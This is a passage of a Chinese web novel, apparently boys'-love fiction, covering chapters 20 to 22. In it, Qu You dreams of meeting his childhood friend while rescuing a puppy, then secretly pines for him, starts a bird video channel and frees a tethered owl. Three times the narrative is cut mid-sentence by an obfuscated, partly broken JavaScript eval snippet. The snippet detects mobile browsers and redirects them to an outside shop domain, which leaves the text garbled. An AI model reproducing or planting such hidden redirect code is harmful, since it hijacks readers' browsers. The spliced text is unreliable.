就像小时候曲柚给他上药,小孩下手没个轻重,时轻时重的,弄得他又疼又痒。 他烦得很,想叫人到一边玩去,别来烦他。 但一看小孩儿红着眼睛掉泪,一脸委屈地给他抹药,他就又压下自己的性子,老实坐在他面前,任由人摆弄了。 头皮紧绷,身体里有一团火焰在下腹游走,撞不出门路,烧得他发疼。 他在黑暗中握着拳,指尖嵌入掌心。他对这种莫名其妙、无法控制又不合时宜的生理性/欲/望而感到恶心。 等曲柚揉了十多秒还没停的时候,肖承风终于忍无可忍,伸手握住了身后那人的手腕,将他的胳膊从被单下掏出来环在自己腰间。 曲柚果然老老实实不再动了。 身后暖呼呼的,像一只小狗贴在后面。 肖承风闭眼,本以为还会继续梦到那些曾经的过往碎片,却是一夜无眠。 20. 哥哥,等等我! 020/东山花灯 曲柚其实很少做梦,不知是不是挨着竹马睡觉的原因,心里五花八门的滋味都冒出来了。 他难得梦到了小时候。 曲柚五岁时,跟着父母搬到新家。 对当时的小曲柚来说,不过是换了个地方和爸爸妈妈一起住,生活的变化不算很大。 这是这里的环境和人,和以前住的地方都不一样了。 每次他缠着妈妈带他去楼下的喷泉花园,女人都会抱抱他,告诉他楼下没有喷泉了。他不懂为什么妈妈总是说着说着就落泪。 经过母子俩多次手拉手下楼找喷泉,曲柚发现出了单元门,外面除了坑洼不平的路面和散乱的石子,以及随处可见的各色垃圾,他才慢慢意识到,这里不是他以前住的地方了。 不过有爸爸妈妈在,换地方住也没关系。他这样安慰落泪的妈妈。 在他的记忆中,爸爸妈妈那段时间很忙,每天一早父母将他托付给一个托儿所,就会去上班。 “小柚,爸爸妈妈去上班了,乖乖在阿姨这里等我们回来啊。”妈妈抱着小小的曲柚,把他放在一个阿姨身边,摸摸他的脸蛋,然后匆匆转身走远。 说是托儿所,其实就是同一座居民楼里的阿姨家里,这里收纳了十来个小孩子,年龄从3岁到7、8岁的都有。 基本都是和曲柚类似的情况——父母工作忙,家里没人照顾孩子,总得找人在白天照看一下孩子。 照看他们的阿姨只有一个,而他们就像一群安静不了两分钟的狗崽子,所以阿姨脾气算不上好。 她经常大呼小叫着扬言要揍烂某个小崽子的屁股蛋。 班里过半的小孩都被指着脑袋骂过,但女人从来没有真的动手过。 托儿所的日常很普通。 早上在家吃完饭来到托儿所后,他们会听阿姨给他们播放的故事磁带——通常听不了十分钟,就会有孩子搞点小动作,挨骂,再坐回座位。 再然后就是一些手工活动,阿姨会带他们折纸玩,叠个花,叠个船,叠个小青蛙。但从不给他们发剪刀。 中午会有一顿饭,午睡。 下午自由活动,但不许出托儿所的门。 规定是这样规定,但曲柚看有些岁数大点的孩子,会拉开门溜出去玩,出门后还知道关上门。阿姨饭后会睡午觉,根本看不住那些往外跑的孩子。 不过这片地方来来回回都是那些熟悉的脸,小孩出去也不会遇到什么危险,外面都是熟人。 所以女人也不管那些跑出去的孩子——反正他们在晚上八点点前总会自觉回来,让女人对回来接孩子的家长们有个交代。 曲柚那时候算不上喜欢阿姨,他总是害怕这个嗓门大得震脑袋的女人。 他有听爸爸妈妈的话,在托儿所表现很乖,没有在同学身上乱丢东西,也没有和有些孩子那样,尿在小孩子身上。 但每天呆在乱糟糟的地方,孩子的哭声和打架的尖叫声此起彼伏,小曲柚终于忍不住了。 在某个普通的一天,他跟着比他高出一头的孩子,贿赂了他一块□□糖——阿姨当天发给表现好的孩子的,跟着他出了门。 离开那个狭小拥挤的屋子后,世界变得宽阔而生动。 曲柚一路走走停停,看什么都新奇。路边野花上振翅的白蝴蝶,他跟着跑了两步,再回头已经看不见带他出来的大孩子。 不过没关系,他认路的,他也记得托儿所的门牌号。 他可以自己找回来。 小曲柚放任自己探索这片陌生的区域。 爸爸妈妈并没有带他在这个新的居住社区走过太多,所以沿路的一切景象,对他来说都像是解开新地图。 白天的社区没什么人,太阳躲在云层后,微风似有若无。 周围的一切看起来都很高大,破败灰色的楼体,偶尔路过的面无表情的大人,一条条挂在天上、缠入电线杆上的黑色电线。 他两只小手抓着自己背带裤在胸前的带子,缓解自己心底的不安,走过一条小巷时,隐约听到了微弱的哼唧声。 像是什么东西的哭声一样。 已经走过两步的小曲柚,扭脸回身,盯着被阴影遮盖的小巷很久,歪头立起耳朵仔细听。 “嗯!……嗯!”小小的声音,努力在挣扎。 果然!他又听到那个声音了! 小曲柚眼睛睁大,这个小巷子只是由两户人家的围墙分割出的一个窄小通道,前后其实是通着的。 入口处堆着垃圾,破碎的纸箱、成袋的垃圾、滚落在地的空塑料瓶,构成了这块阴暗地的组成部分。 左右都没人,小曲柚扁了扁嘴,小脚在入口处着急地躲了躲,不敢踏入。 微风吹过,从对面直面他面对的方向,一股带着土腥味的臭味传来,混合着生活垃圾露天发酵了不知多久的特殊味道,顿时就给小曲柚熏得眼睛红了。 好臭!他捏着鼻子,退了几步,偏头深深呼吸了一口正常空气。 然后委屈,但坚决地走入那个无人在意的垃圾小巷。 当曲柚长大后回过头来看自己的童年,无数次感慨,那是他小时候做的最正确的一件事。 小小的手扒拉开比他还高的破纸壳,小曲柚艰难走入传来那道弱小哼唧声的深处。脚下的地面不平整,垃圾散乱地铺了一层,破碎的砖头,烂菜叶,鱼骨刺,团成球的卫生纸……小孩儿甚至不敢多看一眼。 他竖起耳朵,目光紧盯着声音的来源处,希望看到有任何异动的地方。 他的目光很快锁定一个微微蠕动的黑色垃圾袋。 应该就是在这里了,小曲柚开心起来。垃圾袋被别的垃圾袋压着,他得先挪开其他垃圾袋。 拉动的时候,上层脆弱的塑料袋表皮破开,露出里面堆积腐烂的厨房垃圾,被层层灰绿色的霉菌覆盖。 小孩儿不知道那是什么,只知道一瞬间的恶臭铺面,他还必须得把这坨东西挪开,他又恶心,又委屈,一下就哭了出来。 但爸爸妈妈说过,摸过脏东西的小手不可以摸脸揉眼睛。 小曲柚努力把眼睛里的泪珠眨掉,两只脏乎乎的小爪子悬在空中,十分克制地没有用摸过垃圾的小灰手去擦眼。 臭气过分辣眼睛,小曲柚想,爸爸说过男子汉流血不流泪,但男子汉也顶不住这么臭的味道啊。(Q^Q) 哼哼唧唧的叫声越发急促,好像里面的小东西也知道外面有人,它藏在黑暗的垃圾堆里,奋力发出微弱的求救。 “来啦来啦,不要急啊。”小孩儿眼眶红红的,脸蛋上挂着未落的泪珠,明明自己上一秒还在委屈落泪,但却在安慰另一个受委屈的小东西了。 破掉的垃圾袋没办法整袋拎出来,小孩儿不得不动手一点点掏开那坨不可言说的东西,一边还得安慰哼唧的小东西,他奶呼呼地打着哭嗝,“这就把你救出来啦。” 在掏出一根烂了一半的鸡骨头时,小孩儿没忍住呕了一声,他内心的委屈简直达到了顶峰。 爸爸,小柚还是男子汉的,但小柚实在忍不住了呜呜呜。 他就这样一边掉泪一边恶心,尽量憋着气,把压在最里面的那个黑垃圾袋扯出来,撕开垃圾袋,从里面掏出一只湿乎乎,浑身软毛打着缕的小狗崽。 小狗的眼睛还很黑亮,只是在不断打着哆嗦,趴在小男孩怀里哼哼唧唧。 小曲柚在身边的破纸箱上擦了擦手上的垃圾,大致擦得差不多了,才小心翼翼摸了摸小狗的脑袋。 小小的脑袋,比他的小手还大不了多少。 小孩儿脸上才终于露出一丝笑意。 这里太臭了,小曲柚抱着小狗,摇摇晃晃地穿过满地的垃圾,往巷子外走。 但抬眼的时候,他看到入口处围了好几个大孩子,他们不知道在那里看了多久,直到小曲柚抱着小狗要出去的时候,才笑嘻嘻地围了上来。 “哈哈,有个小孩儿在这儿掏垃圾呢!你爸妈不要你啦?” “小垃圾,你翻出点什么垃圾啊?给我们看看!” “啊,是个小狗子!把狗拿来给我玩!” 他们眼里闪着蔑视又兴奋的光,五个大孩子对上一个跑步都不稳的曲柚,他们根本没把他放在眼里。 小曲柚对人的善意和恶意格外敏感,他明白这几个大小孩并不喜欢自己,只是下意识抱紧了小狗。 小狗舔了舔他的手腕。 “这是我的小狗,我出来找狗了,我爸爸妈妈在托儿所等着我呢,我得回去啦。”他挺起小胸脯,抬起脸蛋直视这些大孩子,甚至还能对他们露出个可爱的笑容。 小孩儿笑容漏齿,声音带点哭过后的鼻音,“等我之后有时间了,再和你们玩呀。到时候给你们尝尝我妈妈做的糖饼。” 他们比他几乎高出半截,有个小孩还很胖,在小曲柚眼里就像几座小山一样。但他还是看着他们的眼和他们说话,丝毫不露怯。 爸爸说过,再害怕,都不能让别人看出你的胆怯,不然就会有苍蝇闻着味儿过来叮你。 但他没想到他刚掏完垃圾,身上的衣服灰扑扑的,还粘着可疑的黏糊糊,脸上的泪水糊着灰尘,原本白净的小脸也脏乎乎的,看着一点也不像有爸妈照看的小孩。 下城区的孩子们有自己的一套判断体系,他们打眼一看就知道对方是不是自己能欺负逗玩的对象。 这一看,就是没爸妈的小孩儿嘛,估计是跟着老人住的。 不足为惧。 “哈哈哈,编点瞎话骗别人就算了,别真骗了自己。你有没有爸妈你自己不知道么?” “喂,小垃圾,把我大哥的话当放屁么?还不把狗拿过来!” “就是!这片地儿都是归我们大哥管的,包括这条垃圾巷!和你怀里那条垃圾狗!” 几个大孩子凶横地走近小巷,又被脚下的垃圾拦住,他们站在巷子口指着小曲柚,让他识相的话就乖乖滚出来上交“非法所得”。 曲柚都懵了,他有没有爸妈他自己不知道么? 虽然他在理智上不怕这几个大孩子,但一对多,敌我双方的物理差距和武力差距确实大,小曲柚有点害怕了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189055|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我有爸爸妈妈!而且这就是我的小狗!”小曲柚大声据理力争,“如果不是我的小狗,我为什么要来垃圾堆里找它!” “我不给!” 他抱着小狗后退。 身后有窸窣的声音,塑料袋哗啦啦,小曲柚紧紧盯着对面几个男孩,没空回头看。 “臭小子!敢看不起我们大哥!揍死你!” 有个小胖子已经捏着拳头走进小巷了,他皱着眉骂骂咧咧,“都他妈是你的错,还得我进这臭垃圾堆里,待会儿等我抓着你,非把你昨天吃的饭都打出来不可!” “胖子,先把狗抢过来,待会儿再揍这嘴硬的臭小鬼。”他的同伴靠在墙上,摸摸顺滑地反光的头发,装作十分潇洒地单腿着地,另一腿很有派头地曲着,脚尖着地。 对面派出了一座小山要来压死自己,曲柚终于怕了,他抱紧小狗踉踉跄跄地往后退,眼里又开始溢满泪水。 绕过一个竖立的废纸板,他突然撞到什么东西,被人按住了肩膀。扭头一看,是个比自己高出一头多的男孩子。 男孩高高瘦瘦的,穿着黑色的长袖和长裤,不是新的,但勉强算整洁。他嘴角泛着一块青色,还有暗色的血痂,散乱的发丝下,眼神冷冷地盯了曲柚一眼。 那一眼,曲柚仿佛看到了两个黑洞,年幼的他无法准确形容,但他下意识在心底打了个寒颤。 然后男孩子抬眼看向对面,只说了一个字。 “滚。” 声音沙哑又平静,像含着碎刃的磨砂纸,一点都不好听。 但效果比曲柚刚才叭叭了好久都好使。 那几个坏孩子从看到这个男孩子开始,就安静下来了。 等男孩说了这个字后,更是惊慌地作鸟兽状逃走了,曲柚看得清楚,那个追进巷子的小山胖子,浑身的肉都颤抖了一下。 小曲柚眼里的泪水还没干,此刻眼泪汪汪、一脸崇拜地看着战神一样的小哥哥。 这就是爸爸说的不战而胜吗?简直泰酷辣! 小哥哥没搭理他,平静地捡完地上的空瓶子,将身边的黄色破旧编织袋甩在肩后,一步步走出小巷。 他的身影显得灰扑扑的,像块路边冷硬的石头。 “哥哥,等等我!”小曲柚抱着比自己胳膊长不了多少的小狗崽,两条短腿连走带跑,踉跄地跟在沉默寡言的男孩子身后。 男孩没有拒绝,也有没任何反应,只是沉默地走在前面。 小曲柚看着小哥哥比他长的腿,迈出一步恨不得抵他两步,自己的小短腿都要倒腾不过来了。 小狗在怀里也不哼哼了,很乖地把脑袋搭在他弯曲的胳膊上,只时不时抖一下。 小曲柚低头看了看自己怀里的小狗,小心把狗托在一只胳膊上,空出来另一只手,疾跑两步,小心翼翼拉住男孩黑色的衣角。 “哥哥,慢点。”他软软地说,“谢谢哥哥。” 男孩还是没回话,他脚步一顿,扭过头来定定看了会儿小曲柚脏乎乎的小脸,和毫不设防露出的开心笑容,目光落在小孩儿胳膊里抱着的那条灰扑扑脏兮兮的狗崽。 半晌,他再次迈开步伐,走向自己的目的地。 只是身后的小孩,这会能跟上他的脚步了。 曲柚和他搭话,男孩不语,曲柚也不觉得无趣,就叭叭叭一直分享自己的事。 一大一小,走在温柔的树荫下。云层后的太阳露出了,明媚的光芒撒下,透过树叶,撒下一地碎金。 伴随着孩童温软的童言,温柔地洒在两个小孩身上。 秋光正好。 * 第二天,曲柚是自然醒的。 他在床上困顿地眨了眨眼,抬手搓了把脸,缓了一会儿,才意识到身边人是他哥。 他好像梦到小时候的事了,他刚遇到他哥那会儿。 曲柚不自觉笑出来。 “醒了?”耳边传来低哑性感的男声,曲柚扭头,看到他哥那张帅死人的俊脸侧面,从昨晚背对他到现在仰头看着床顶。 “醒了就让让,戳到我了。”男生的声音很平静,曲柚听着,往下看了一眼,脸上缓缓裂开。 正是夏天,大早上的,小伙子血气方刚很正常(?)。他直直戳在他哥屁股上,刚才没意识到就算了,现在意识到了甚至想活动一下腰部。 脑子里的水壶瞬间就“呼——”地开了。 他还是人么!他睡他哥的床就算了,还用自己的哔——顶着他哥耍流氓! 面对自己偷偷喜欢的人,曲柚觉得自己快乐又罪恶。 但他在他哥面前,必须是个纯种铁直男。 快,想个符合直男的反应!不许脸红躲开! 曲柚脑子一抽,微微向后移动,把自己的兄弟挪开后,抬手扇了他哥屁股边缘一巴掌! 手掌打在内裤上,带着布料下的皮肉一颤,随着闷闷的一声“啪”,难以抑制的快乐从他心底冒出,脸上的笑容也越发真情实感,看起来真诚又可爱。 “帅哥,你好辣。” 曲柚在内心喟叹。做直男,好爽。 21. 人们管这个叫“命运” 021/东山花灯 “……” 大约是从来没人敢拍他的屁股,还敢对他口出狂言说他辣,肖承风脸上有一瞬间都空白,直直盯着床顶的方向看了会儿。 男生将视线落在曲柚脸上,慢慢呼气,口吻和蔼地低声问,“受什么刺激了?跟哥说说。” 曲柚对他哥咧嘴一笑,翻身爬起来蹑手蹑脚地掀开床头的床帘,白背心悬空垂下,露出一小节细白的腰肢,他弓着身体踩上那头他自己的床,回头笑了一下放下帘子。 “没什么,被哥帅了一下。” 曲柚笑得自然,坦坦荡荡,肖承风坐起来,单手扒了扒头发,无声叹了口气,随意往下瞟了一眼,又略带厌倦地移开视线。 大周日早上七点多,宿舍里其他俩人还睡着,曲柚支棱着也不太方便穿衣服下床,便又躺回床上里想等身体冷静一下。 他手指攥皱了被单,什么洒脱自然,在肖承风面前都是装的。 曲柚闭着眼,眼前闪过那个背着编织袋慢慢走在他前面,像一匹可靠的狼一样的少年竹马,喉结微动。 他哥已经很难了,他不能再给他哥增加额外的烦恼了。 高三的暑假里曲柚着魔一样读了很多本同性恋研究相关书籍,有作者把同性恋文化称为“亚文化”,有的大写特写同性恋在社会上的“危害”。 他最终绝望地意识到,在现在这个时代做同性恋,比他当初去垃圾堆里掏小狗还要难。 就算他敢面对那些外界异样的眼神和质疑,他爸妈呢?他哥呢?他不想把自己最在乎的人们拉进同一个泥坑里。 现在社会年轻化的思想逐渐开放,校园论坛里嗑他俩的帖子一个比一个欢,但曲柚知道,这是建立在大家默认他俩是清白关系的份上的。 一旦他和他哥真的有了什么超越普通兄弟的情谊,人们的质疑和最恶毒的攻击会毫不犹豫地朝他们射过来。 暗恋是一个人的独角戏。 他只要演好这场戏,做好他该做的角色就好,不要越界。这样对他哥,对他,对父母,都是最好的选择。 ……对吧? 理智告诉他,他想去的幽径布满荆棘,选择走旁边的平坦大道是最好的选择。 但曲柚的心,还是会偷偷为那个藏在荆棘小路里的沉默男生,而怦然。 他心思简单地活了快二十年,现在也会因为太喜欢一个人而选择沉默,即使在一个人身边也会想念他到心痛。 人总会学着言不由衷,学着主动去选择那个注定遗憾的选择。 也许这也算是长大的一种体现? * 曲柚再次睁眼的时候,发现自己又眯过去了,他偷偷掀开点床帘看过去,隔壁床位已经空了,深蓝的被单整齐地叠在床尾。 他哥又走了。他揉揉眼睛穿衣下床,洗漱完后吃掉竹马留在他桌上的早饭,一看时间已经九点半了。 齐昊也不在宿舍了,只剩下他和睡得依旧香甜的卓正阳。 保温箱里的斑鸠幼崽饿得在用嘴“哆哆”嗑塑料门板。 “不好意思,忘了你了,”曲柚路过放在桌边的保温箱,食指曲起,指骨隔着门板敲了敲小毛球的脸,“这就给你喂饭。” 兑好奶粉吸入针管,曲柚打开保温箱的小门抓出小斑鸠,手指不松不紧地环在鸟崽身上,小鸟动动爪子,低头用嘴戳了戳人的手指。 人,坏!饭! 喂食器凑到嘴边,小团子已经会主动饿鸟扑食,叼住喂食管猛猛吸入。 曲柚靠坐在椅背上,微微低头,唇角带着一丝若有若无的笑,和小动物相处的时候,他总是觉得很放松。 他放开斑鸠,让小鸟蹲在他腿上,伸出一根纤长的手指轻轻抚摸幼鸟毛糙的绒羽,指尖埋入看似蓬松的棕黄细羽中,偶尔挑出一根已经脱落的杂毛。 也许给自己多找点事做,就能忽略内心对某人的那份悸动了。 他只需要转移注意力。 现在的曲柚还不知道,真正想做的事、想爱的人,是不会因为故意选择其他的人和事、多给自己增加支线任务,而失去对自己的恒久吸引的。 人生总会遇到岔路口,行走其中的人永远有选择权,这是宇宙自由意志赋予人的权利。 但总有人弯弯绕绕走了一圈路,最后发现,他们行走的路径,原来一开始就早有迹象。就算短暂偏移主线路途,进入支线,早晚也会被拉回来。 人们管这个叫“命运”。 曲柚突发奇想。 要不他在P站开个视频号吧?P站是建站不到5年的视频交互网站,他偶尔会在上面看看动漫和搞笑段子。 他可以记录一下自己的生活,不露脸那种,也做一把博主。 顺便科普一下身边的动物知识,比如……他的视线落在专注吃奶的潦草团子身上,就从记录这只小鸟开始吧。 男生琥珀色的眼眸盈着温柔的光,但细看却总有一丝捉摸不透的忧伤,似乎泪水已经蒸发成水雾,轻柔地笼罩在平静的湖面。 “想个名字吧,”他小声喃喃,“我不会起名字啊,要是哥在……”曲柚戛然失声,剩余未尽的话语湮没在反应过来的怔然里。 他以后真得改改自己的习惯了,不能什么事都下意识依赖肖承风了。 “算了,你长得这么随便,我也随便起个名好了。”曲柚叹了口气,小声对斑鸠幼崽商量,“先给你取个名,就叫“随便”好了。喜欢么?” 小鸟不语,只是一味干饭,吃完一管奶还要继续。 嗯,那视频账号的名字他也想好啦,曲柚灵机一动,来了灵感,他兴奋地打了个响指,吓得腿上蹲着的毛团子一抖。 就叫【来看看鸟】! 曲柚有些懒散地笑笑,伸手挠挠小鸟脑袋,他肩膀向后倚靠着翘起腿,身躯清瘦,独特的少年感尽显无疑。 “你就是这个账号的第一个主鸟公了。” 下一刻,手机镜头就对准了缩着脖子干饭的小鸟。 小鸟:咕? * 周末没有课,曲柚下午就去图书馆预习下周的功课。 这是他打小,自从肖承风给他补课以来,希望他养成的学习习惯。课前预习,课后复习,定期整理错题本。 可惜曲柚经常三天打鱼两天晒网,肖承风让他天天这么做,他却只在周一到周五做到。 但凡周六日看不着竹马的人影,曲柚就只顾着撒欢玩了,家里的狗、对门的猫、对面街道的小胖子……什么都比学习有意思。 现在决定了要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189056|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆脱对竹马的依赖,曲柚倒是学会主动学习了。 他像个决心迟早要丢掉轮椅的人,颤颤巍巍扶着墙,开始锻炼自己瘦弱的腿部肌肉。 预习了下周要上的三节课,提前写了课后习题,又把上周课后小测的错题过了一遍,整理出来知识点。 一套做下来,曲柚出图书馆的时候,天已经擦黑了。 肚子空空,精神有些疲惫,但曲柚心里确实稳定满足的。 也许是因为知道自己努力的每一步,都不是白费的。 切实努力的人,永远比空想不做的人,要问心无愧得多。 出了图书馆才想起来,他的小鸟还没喂! 幼鸟吃东西一般是少食多餐,这已经过了整整五个来小时没喂鸟了,估计小崽子又在用头槌门了。 为了抄近路,曲柚从学校的一片柏树林穿行而过,开着手机背后的灯。 晚上的柏树林里一个人都看不见,只有一颗颗沉默的树,茂密的枝干遮蔽了天幕。 手机灯光照射范围有限,在灯光触及不到的地方,那些摇晃的树叶枝干,仿佛变出了不同的形态,曲柚不敢细看。 唯一让他心安的是,他能听到不同昆虫嘶鸣的声音。 有虫子,还算安全。 突然,不远处的地面上传来一阵“哗啦啦”的声音! 像是地面上的叶片被什么搅乱。 即使知道这片树林正常得很,没有什么乱神怪力,曲柚还是被吓了一跳!他肩膀一抖,哼出一声哭腔,当时就想喊哥。 那处传来声响的地方,又安静了。 曲柚咽了咽口水,心想好奇心害死猫,他可不做恐怖片里作死的炮灰配角,他这就抓紧跑回宿舍。 两分钟后,曲柚站在一颗树下,和地面上蹲着的一只鸽子大小的走地鸡大眼瞪小眼。 他叹了口气,对自己颇为无语。要是他在一本恐怖怪谈类小说里,能不能活过三章都是问题。 走地鸡长着一张圆脸盘子,脸盘边缘自带白色高光,圆圆的眼睛有着浓厚的黑眼影,不断左右歪头,从下往上观测曲柚,它机警地瞪大橙黄的眼,黑色瞳孔收缩成一个黑豆大小的圆点。 它头顶的毛微微炸起,翅膀也炸毛举起,要用自己的气势吓死对面这个庞然大物。 为什么没有飞起来给这个没毛两脚兽一爪子呢,走地鸡左右踩了踩脚,脚上的破绳子依然解不开,对面的人类一直没动静,似乎也没什么攻击意图。 它有点尴尬地收起翅膀,把脑袋转偏,用嘴捋捋身上的羽毛,只留一只眼侧对着人类,余光瞟着对方。 曲柚觉得好笑,他居然能在一只鸟身上看到“尴尬”。 圆眼睛、尖锐的下弯鸟喙,粗壮锐利的爪子,棕黑色的羽毛,脑袋上散布着头皮屑似的白色斑点状羽毛,有猫头鹰类似的外表,但要比一般猫头鹰小很多。 目测也就20多公分,和成年体型的鸽子没多大区别。 哦,这鸟叫起来是很连贯的“咕咕咕咕咕咕~”,声音颇有点清幽的味道,又有点像哭泣的笑声,伴着暗色天幕和小树林北京,让人毛骨悚然,颇有种吓死人不偿命的感觉。 曲柚调用他不算太丰富的鸟类常识,确认这小玩意儿是一只国二级别的……鬼鸮。 22. 拿来吧你! 022/东山花灯 曲柚就着手机灯光,现场上网查证,把地上蹲着吹渗人小曲的咕咕鸡和网上的照片对比,再次确认了这只脸盘子像半个苹果切面的大脸鸟的身份。 他刚才判断的没错,是鬼鸮。日常生活中见国二的机会也不多,曲柚下意识打开照相功能。 天色太暗又没有额外光源,曲柚切换到夜景模式,对着小猫头鹰的方向按下拍摄,保持不动。 几秒后,得到了比较清晰的照片。 当事鸮歪着头,大眼睛直直盯着镜头,它的毛腿下延伸出一根黑色尼龙绳,摊落在地上的那截有两个巴掌那么长,淡黄色的脚脖子上能很清晰地看到套着个黑色的脚环。 曲柚关掉摄像功能,继续打开手机灯光观察鸟。 鬼鸮这种小型猛禽,一般在森林出没,在华夏国内的话,主要分布在新疆和东北地区,主食田鼠、小鸟和昆虫之类的小型动物——没法办,体型限制,抓不了大的。 因为自身体型比鸽子大不了多少,即使它也属于猫头鹰家族里的,但有时候也会被其他猫头鹰捕食。 (鬼鸮:?这对么) 问题是,这里是云川省市区,位于华夏南部,这种混迹于东北地区大森林的鸟怎么跑到这儿来的? 曲柚有点怀疑自己的判断。 “咕咕咕咕~”已经恢复平静的咕咕鸡正幽幽哼着小曲,仔细打量他,眼神专注又疑惑。(智慧的眼神.jpg) 曲柚温声安抚睁大眼看他的鬼鸮,声音带着安抚鸟心的柔和,“别害怕啊,你的脚被拴住了,我帮你解开。” 男生弯下腰,慢慢靠近随着他凑近而炸起头毛的小猫头鹰,以迅雷不及掩耳之势,从猫头鹰身后握住了它的翅膀根! 来都来了,不管这鸟儿是怎么来的,既然已经到他面前了——拿来吧你! 小猫头鹰急急蹬腿,爪子在空气中乱踩! 但它两条腿被链子死死缠在一起,于是同脚乱蹬了几下,似乎也察觉到挣扎没用,腿安分下来,剩下脑袋开始转着圈想啄曲柚的手。 猫头鹰这玩意儿的脑袋可以随便朝任何方向旋转到270°,曲柚看它一扭头,脖子往后一缩就往前凿,吓得赶紧用手机壳挡住鬼鸮的嘴。 “哆!哆!”小猫头鹰的喙和手机壳磕碰在一起,发出闷响。曲柚提起十分精神来,听这有力的声音,这小破鸟能轻易给他叨出血。 “嘘——嘘,”曲柚温柔但牢固地抓着鬼鸮的翅膀,关掉手机光源塞进兜里,边走边安抚它,“不怕哦,我会帮你的。” 他调整了一下拿鸟姿势,空着的手从下面捏住小猫头鹰的两条毛腿,松开了鸟翅膀,“是不是刚才捏翅膀不舒服?这样就好点了吧。” 也不知道是不是猫头鹰听懂了,还是这次的姿势让它没那么难受,它自然收拢着翅膀安静下来,脑袋前后左右扭动观察。 (机警.jpg) * 曲柚把小猫头鹰偷渡回宿舍,为了防止鬼鸮乱动影响他操作,曲柚找了一块柔软的毛巾裹住小猫头鹰,露出它的一双腿,找了个小剪刀,把鸟放倒在他腿上开始解绳子。 他把手机立在桌面上,打开前置摄像头开始录像。 救助小猫头鹰,也算是个视频素材,以后用不用得上另说,先录下来再说。 刚才在外面看得不清楚,现在放在灯光下仔细看,这小猫头鹰两个两条腿上分别被尼龙细绳打结捆着,两条腿又被捆在一起,死结叠死结,绳子还紧紧贴着鸟的爪子和羽毛,手根本解不开,只能用剪刀一点点挑开剪断。 曲柚心理冒嘀咕,这鸟腿上有环,应该是人养的,但不知道发生什么了,怎么把腿给缠成这样了。 这种捆绑的方式,一看就是有人特意这么绑的。 曲柚和细小的死结作斗争,眉头微微蹙起。 洗完澡的卓正阳出来后,就见他们宿舍的小/弟/弟正窝在自己椅子上背对着他低头捣鼓着什么。 他头上盖了条毛巾,不断擦着还湿润的发丝,走过去看,“小柚子,干嘛呢?一天也不见你人影,跑哪儿去了?”他口吻懒散地抱怨,“我一起来,宿舍一个人都没有,你们三个一天天的行踪神秘的很。” 曲柚还没回答,卓正阳先越过男生的肩膀看到了他捣鼓的那个东西。 一张大饼脸和硕大的圆眼睛和他打了个照面,而后歪头审视他,认真又智慧。 宿舍的光源不算暗,猫头鹰的瞳孔这会儿变得又大又圆,配着一圈黄色的瞳仁,显得有点萌。 “嚯!”卓正阳被吓得往后一缩,肩膀一抖才冷静下来。 “怎么把猫头鹰给带回来了?”卓正阳认不出这鸟具体的品种,不过光看它的外表,很符合一般猫头鹰的长相,只是体型小了很多。“这是未成年的猫头鹰崽子么?” “不是,这应该是成年态了。”曲柚扭头对卓哥笑了一下,安慰人别怕,“我不养它。我下午去图书馆来着,就是回来的路上碰到了,看到它脚上有绳子缠成死结了,在外头不好给他弄。” “拆完绳子就放它走,”曲柚伸出一根手指挠了挠鬼鸮的脑门,小猫头鹰被挠地半眯起了眼,“刚才也检查了,它的翅膀应该没什么问题,拆掉绳子就能飞走。” 鬼鸮被裹成了根棒槌,它现在情绪非常镇定,脑袋甚至会追随着曲柚的指头,让他再挠挠。 男生哼笑了一声,如鸟所愿,两根手指弯曲起来,轻轻扣挠猫头鹰的脑袋。鬼鸮慢慢眯起眼睛,仰着头,一副迷醉的样子。 好像在说:啊,对对对,就是那里。 曲柚被自己的脑补逗笑。 “好家伙,这玩意儿脑袋都歪得立起来了,脖子真灵活。”卓正阳看见宿舍里出现新的活物也很新奇,拉了把椅子凑在曲柚身边一起看鸟,他伸出指头蠢蠢欲动,“我也给他挠挠。” 谁知小猫头鹰看着他凑过来的指头顿时炸起脑袋上的毛,眼神变得警惕,一副受到威胁准备进攻的样子,同时发出“咕咕咕咕~”的叫声。 “哎呦,行了行了不摸你了。”卓正阳看着猫头鹰的尖喙也有点害怕,毕竟是野生动物野性大,他又不像曲柚有动物亲和体质,悻悻收回手,“叫得跟唱曲儿似的。” 随着剪刀挑起一根根尼龙线,束缚在鬼鸮腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189057|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的绳子也慢慢散开。曲柚观察了一下,鸟腿上没有明显的伤痕,应该没什么大问题,他抓起腿上零碎的线扔进脚边垃圾桶,对小猫头鹰笑了一下,“这下你自由啦,可以走了。” 